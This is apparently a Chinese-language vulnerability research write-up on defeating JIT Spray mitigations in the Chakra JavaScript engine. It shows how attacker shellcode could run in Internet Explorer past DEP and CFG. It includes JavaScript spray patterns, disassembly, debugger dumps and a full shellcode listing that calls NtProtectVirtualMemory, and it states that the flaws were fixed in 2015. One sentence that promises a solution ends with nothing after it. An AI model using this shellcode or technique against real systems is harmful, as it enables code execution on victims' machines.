JIT Spray是一種誕生于2010年的漏洞利用技術,可將Shellcode嵌入到JIT引擎生成的可執行代碼中。目前,包括Chakra在內的各JIT引擎幾乎都針對該技術采取了防御措施,包括隨機插入空指令、立即數加密等。本文將指出Chakra的JIT Spray防御措施的兩個問題(分別存在于Windows 8.1及其之前的系統,以及Windows 10之中),使得攻擊者可在IE中用JIT Spray技術執行Shellcode,從而繞過DEP。同時,本文還給出了一種利用Chakra的JIT引擎繞過CFG的方法。
立即數加密是最重要的JIT Spray緩解技術。Chakra引擎會對每一個高位或低位不是0x0000或0xFFFF的用戶傳入的立即數用隨機生成的Key進行異或,再在運行時還原。例如,對于以下JavaScript:
...
a ^= 0x90909090;
a ^= 0x90909090;
a ^= 0x90909090;
...
生成的機器指令將類似于:
...
096b0091 ba555593c5 mov edx,0C5935555h
096b0096 81f2c5c50355 xor edx,5503C5C5h
096b009c 33fa xor edi,edx
096b009e bab045edfb mov edx,0FBED45B0h
096b00a3 81f220d57d6b xor edx,6B7DD520h
096b00a9 33fa xor edi,edx
096b00ab baef85f139 mov edx,39F185EFh
096b00b0 81f27f1561a9 xor edx,0A961157Fh
096b00b6 33fa xor edi,edx
...
從而使所生成指令中的立即數不可預測,也就無法嵌入代碼。
Chakra引擎內部對整數n會以n2+1的方式存儲。所以,在處理n=n+m時,不必從n2+1還原出n再和m相加,只需要將m2加到n2+1的結果上去即可。而對于m*2,Windows 8.1及其之前的Chakra引擎會認為是其自身生成的數據,而不是用戶傳入的,所以不會進行加密。例如對以下JavaScript:
...
a += 0x18EB9090/2;
a += 0x18EB9090/2;
...
在某幾個條件同時滿足的情況下,可以讓Windows 8.1及其之前的Chakra引擎生成類似這樣的機器指令:
...
05010090 81c19090eb18 add ecx,18EB9090h
05010096 0f80d6010000 jo 05010272
0501009c 8bf9 mov edi,ecx
0501009e 8b5dbc mov ebx,dword ptr [ebp-44h]
050100a1 f6c301 test bl,1
050100a4 0f8413020000 je 050102bd
050100aa 8bcb mov ecx,ebx
050100ac 81c19090eb18 add ecx,18EB9090h
050100b2 0f8005020000 jo 050102bd
050100b8 8bf9 mov edi,ecx
050100ba 8b5dbc mov ebx,dword ptr [ebp-44h]
050100bd f6c301 test bl,1
050100c0 0f8442020000 je 05010308
050100c6 8bcb mov ecx,ebx
...
0:017> u 05010090 + 2 l 3
05010092 90 nop
05010093 90 nop
05010094 eb18 jmp 050100ae
0:017> u 050100ae l 3
050100ae 90 nop
050100af 90 nop
050100b0 eb18 jmp 050100ca
所以只要寫出每條指令長度不大于2字節的Shellcode,就可以嵌入到立即數中。因為實際產生的立即數是JavaScript中數字的2倍,所以使用的指令如果是2字節,第1字節必須為偶數。這是完全可能做到的。
0x5854 // push esp--pop eax ; eax = esp, make eax writeable
0x5252 // push edx--push edx ; esp -= 8
0x016A // push 1
0x4A5A // pop edx--dec edx ; edx = 0
0x5E52 // push edx--pop esi ; esi = 0
0x40B6 // mov dh, 0x40 ; edx = 0x4000, NumberOfBytesToProtect
0x5452 // push edx--push esp ; *esp = &NumberOfBytesToProtect
0x5B90 // pop ebx ; ebx = &NumberOfBytesToProtect
0x14B6 // mov dh, 0x14
0x14B2 // mov dl, 0x14
0x5266 // push dx
0x5666 // push si ; *esp = 0x14140000
0x525A // pop edx-push edx ; edx = 0x14140000
0x5E54 // push esp--pop esi ; esi = &BaseAddress,
0x5454 // push esp--push esp ; push &OldAccessProtection
0x406A // push 0x40 ; PAGE_EXECUTE_READWRITE
0x5390 // push ebx ; push &NumberOfBytesToProtect
0x5690 // push esi ; push &BaseAddress
0xFF6A // push -1 ;
0x5252 // push edx--push edx ; set ret addr
0x5290 // push edx ; prepare esp for fs:[esi]
0x016A // push 1
0x4A5A // pop edx--dec edx ; edx = 0
0xC0B2 // mov dl, 0xC0
0x5E52 // push edx--pop esi
0x5F54 // push esp--pop edi
0xA564 // movs dword ptr [edi], dword ptr fs:[esi] ; *esp = *(fs:0xC0)
0x4FB2 // mov dl, 0x50 ; NtProtectVirtualMemory, Win8.1:0x4F, Win10:0x50
0x5290 // push edx
0xC358 // pop eax--ret ; ret to syscall
Windows 10的Chakra引擎并沒有前述問題。但是,由于Windows 10的Chakra引擎高度優化,在處理整數類型數組寫入操作時,會用最高效的方式生成JIT代碼。例如,對于下面的JavaScript語句:
var ar = new Uint16Array(0x10000);
ar[0x9090/2] = 0x9090;
ar[0x9090/2] = 0x9090;
ar[0x9090/2] = 0x9090;
ar[0x9090/2] = 0x9090;
...
生成的機器指令是:
...
0b8110e0 66c786909000009090 mov word ptr [esi+9090h],9090h
0b8110e9 66c786909000009090 mov word ptr [esi+9090h],9090h
0b8110f2 66c786909000009090 mov word ptr [esi+9090h],9090h
0b8110fb 66c786909000009090 mov word ptr [esi+9090h],9090h
...
雖然Chakra引擎的JIT Spray防御措施只允許用戶控制最多2字節立即數,但在上面這種情況下,數組索引和要寫入的數字會出現在同一條指令中。所以實際上我們有了4字節而不是2字節的可控數據。
在這種情況下,同樣可在其中嵌入前面提到的每條指令長度不大于2字節的Shellcode。只是由于多了中間的兩字節0x00(會被作為指令“add byte ptr [eax],al”執行),所以需要在最開始兩字節的指令中將EAX設為可寫的地址。
利用前面介紹的兩種方法,可以實施JIT Spray繞過DEP。但嵌入在JIT代碼中的Shellcode執行入口地址顯然無法通過CFG檢查。但實際上Chakra引擎的實現中就存在可用來繞過CFG的地方。
無論所執行的JavaScript是否需要啟動JIT,Chakra引擎都一定會在內存中生成如下入口函數:
0:017> uf 4ff0000
04ff0000 55 push ebp
04ff0001 8bec mov ebp,esp
04ff0003 8b4508 mov eax,dword ptr [ebp+8]
04ff0006 8b4014 mov eax,dword ptr [eax+14h]
04ff0009 8b4840 mov ecx,dword ptr [eax+40h]
04ff000c 8d4508 lea eax,[ebp+8]
04ff000f 50 push eax
04ff0010 b840cb5a71 mov eax, 715acb40h ; jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>
04ff0015 ffe1 jmp ecx
這個函數的指針可以通過CFG檢查,同時,這個函數在jmp ecx之前,并沒有對ecx的指針其進行CFG檢查。所以,這個入口函數實際上相當于一個可以跳往任意地址的跳板。下面我們姑且將其稱作“cfgJumper”。
要利用JIT Spray繞過DEP和利用“cfgJumper”繞過CFG,就需要定位JIT編譯后的代碼和“cfgJumper”,有趣的是,找到它們的方法幾乎是相同的。
在JavaScript中所寫的任何一個函數,都對應一個Js::ScriptFunction對象。每個Js::ScriptFunction對象又包含著一個Js::FunctionBody對象。Js::FunctionBody對象中保存著調用這個JavaScript函數時實際會執行的內存指針。
如果一個函數未被調用過,那么它的Js::FunctionBody中存放的實際內存指針是Js::InterpreterStackFrame::DelayDynamicInterpreterThunk:
0:002> dc 0b89de70 l 8
0b89de70 6ff72808 0b89de40 00000000 00000000 .(.o@...........
0b89de80 70523168 0b8d0000 7041f35c 00000000 h1Rp....\.Ap....
0:002> dc 0b8d0000 l 8
0b8d0000 6ff6c970 70181720 00000001 00000000 p..o ..p........
0b8d0010 0b8d0000 000001b8 072cc7e0 0b418ea0 ..........,...A.
0:002> u 70181720 l 1
Chakra!Js::InterpreterStackFrame::DelayDynamicInterpreterThunk:
70181720 55 push ebp
如果一個函數被調用過,但沒有被編譯為JIT代碼,仍然是解釋執行,那么它的Js::FunctionBody中存放的實際內存指針是“cfgJumper”:
0:002> dc 0b89de70 l 8
0b89de70 6ff72808 0b89de40 00000000 00000000 .(.o@...........
0b89de80 70523168 0b8d0000 7041f35c 00000000 h1Rp....\.Ap....
0:002> dc 0b8d0000 l 8
0b8d0000 6ff6c970 00860000 00000001 00000000 p..o............
0b8d0010 0b8d0000 000001b8 072cc7e0 0b418ea0 ..........,...A.
0:002> u 00860000
00860000 55 push ebp
00860001 8bec mov ebp,esp
00860003 8b4508 mov eax,dword ptr [ebp+8]
00860006 8b4014 mov eax,dword ptr [eax+14h]
00860009 8b4840 mov ecx,dword ptr [eax+40h]
0086000c 8d4508 lea eax,[ebp+8]
0086000f 50 push eax
00860010 b800240870 mov 70082400h ; Chakra!Js::InterpreterStackFrame::InterpreterThunk
如果一個函數被循環調用多次,導致Chakra引擎將其編譯為JIT代碼,那么它的Js::FunctionBody中存放的實際內存指針就是該函數編譯后的JIT代碼指針:
0:002> d 0b89de70 l8
0b89de70 6ff72808 0b89de40 00000000 00000000 .(.o@...........
0b89de80 70523168 0b8d0000 7041f35c 00000000 h1Rp....\.Ap....
0:002> d 0b8d0000 l8
0b8d0000 6ff6c970 00950000 00000001 00000000 p..o............
0b8d0010 0b8d0000 000001b8 072cc7e0 0b418ea0 ..........,...A.
0:002> u 00950000
00950000 55 push ebp
00950001 8bec mov ebp,esp
00950003 81fc44c9120b cmp esp,0B12C944h
00950009 7f18 jg 00950023
0095000b 6a00 push 0
0095000d 6a00 push 0
0095000f 68e0c72c07 push 72CC7E0h
00950014 6844090000 push 944h
了解了Js::ScriptFunction和Js::FunctionBody對象的結構,以及上面所述的這些,就可以準確地找到編譯后的JIT代碼,和“cfgJumper”。
除了立即數加密,Chakra引擎也采用了隨機插入空指令的方法來緩解JIT Spray。不過Chakra插入空指令的密度并不高。PoC中使用的由29個16位數組成的JIT Shellcode,在針對Windows 10的利用方式中,會生成29條x86指令,其中幾乎不會被插入空指令。但是在針對Windows 8.1及其之前的Chakra引擎的利用方式中,會生成約200條x86指令,就很可能被插入空指令。
解決這個問題的方法是:
本文測試環境是安裝了2015年5月補丁的Windows 8.1和Windows 10 TP 9926。
本文所述問題微軟已于2015年9月修復。